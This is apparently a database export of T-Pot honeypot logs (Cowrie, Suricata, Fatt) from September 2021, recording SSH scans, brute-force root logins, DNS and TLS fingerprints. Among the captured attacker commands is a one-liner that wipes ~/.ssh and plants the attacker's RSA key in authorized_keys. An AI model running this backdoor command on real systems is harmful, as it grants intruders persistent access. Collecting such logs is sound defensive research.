"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......S.%...r.q.........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31292	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:44:05.171819+03	2021-09-20 14:45:04.296142+03	{"_id": "PwYFA3wBvYTbRNuEOUNL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55516, "timestamp": "2021-09-20T11:44:05.171819", "@timestamp": "2021-09-20T11:44:05.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31293	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:05.888952+03	2021-09-20 14:45:04.298144+03	{"_id": "QgYFA3wBvYTbRNuEOkOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:05.888952Z", "@timestamp": "2021-09-20T11:44:05.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31294	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:06.648727+03	2021-09-20 14:45:04.299144+03	{"_id": "RgYFA3wBvYTbRNuEOkOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:06.648727Z", "@timestamp": "2021-09-20T11:44:06.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31295	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:06.649272+03	2021-09-20 14:45:04.300143+03	{"_id": "RwYFA3wBvYTbRNuEOkOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:06.649272Z", "@timestamp": "2021-09-20T11:44:06.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31296	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:43:43.617988+03	2021-09-20 14:45:04.302145+03	{"_id": "1QYEA3wBvYTbRNuE4EKj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0d9a9080bc93", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:43:43.617988Z", "@timestamp": "2021-09-20T11:43:43.617Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31297	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:43:44.107159+03	2021-09-20 14:45:04.303142+03	{"_id": "2AYEA3wBvYTbRNuE4kJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:43:43.474077+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1678745747274717, "payload": "AAADzAYUtNIOTgh3B8tZCe6dvxOO6gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56804, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:43:44.107159Z", "@timestamp": "2021-09-20T11:43:44.107Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........N.w..Y..........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31298	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:43.618503+03	2021-09-20 14:45:04.305142+03	{"_id": "2QYEA3wBvYTbRNuE40JR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.173.209.238", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56804, "timestamp": "2021-09-20T11:43:43.618503", "@timestamp": "2021-09-20T11:43:43.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31299	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:43:57.334813+03	2021-09-20 14:45:04.306142+03	{"_id": "AAYFA3wBvYTbRNuEF0NZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/5000] failed", "session": "f7d7d982bb43", "@version": "1", "password": "5000", "username": "root", "timestamp": "2021-09-20T11:43:57.334813Z", "@timestamp": "2021-09-20T11:43:57.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31300	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:43:58.598653+03	2021-09-20 14:45:04.308142+03	{"_id": "AQYFA3wBvYTbRNuEG0NB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/505050] failed", "session": "f7d7d982bb43", "@version": "1", "password": "505050", "username": "root", "timestamp": "2021-09-20T11:43:58.598653Z", "@timestamp": "2021-09-20T11:43:58.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31301	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:43:59.303584+03	2021-09-20 14:45:04.309142+03	{"_id": "CwYFA3wBvYTbRNuEIEPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 52719, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1698309324382688, "@version": "1", "in_iface": "enp5s0", "src_port": 44570, "dest_port": 53, "timestamp": "2021-09-20T11:43:59.303584Z", "@timestamp": "2021-09-20T11:43:59.303Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31302	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:43:59.305461+03	2021-09-20 14:45:04.310142+03	{"_id": "DAYFA3wBvYTbRNuEIEPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 52719, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 7, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1698309324382688, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44570, "timestamp": "2021-09-20T11:43:59.305461Z", "@timestamp": "2021-09-20T11:43:59.305Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31303	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:59.904399+03	2021-09-20 14:45:04.311142+03	{"_id": "DwYFA3wBvYTbRNuEIUPY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35590, "dest_port": 443, "timestamp": "2021-09-20T11:43:59.904399", "@timestamp": "2021-09-20T11:43:59.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31304	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:43:59.399216+03	2021-09-20 14:45:04.313142+03	{"_id": "DQYFA3wBvYTbRNuEIUPY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35588, "timestamp": "2021-09-20T11:43:59.399216", "@timestamp": "2021-09-20T11:43:59.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31305	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:44:05.1694+03	2021-09-20 14:45:04.314142+03	{"_id": "OQYFA3wBvYTbRNuENkOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:55516 (192.168.176.2:22) [session: edc43aa3aa69]", "session": "edc43aa3aa69", "@version": "1", "protocol": "ssh", "src_port": 55516, "dest_port": 22, "timestamp": "2021-09-20T11:44:05.169400Z", "@timestamp": "2021-09-20T11:44:05.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31306	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:44:05.170826+03	2021-09-20 14:45:04.315142+03	{"_id": "OgYFA3wBvYTbRNuENkOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "edc43aa3aa69", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:44:05.170826Z", "@timestamp": "2021-09-20T11:44:05.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31318	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:01.606011+03	2021-09-20 14:45:04.330142+03	{"_id": "HAYFA3wBvYTbRNuEJ0MD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:49628 (192.168.176.2:22) [session: d8a32464a4ea]", "session": "d8a32464a4ea", "@version": "1", "protocol": "ssh", "src_port": 49628, "dest_port": 22, "timestamp": "2021-09-20T11:44:01.606011Z", "@timestamp": "2021-09-20T11:44:01.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
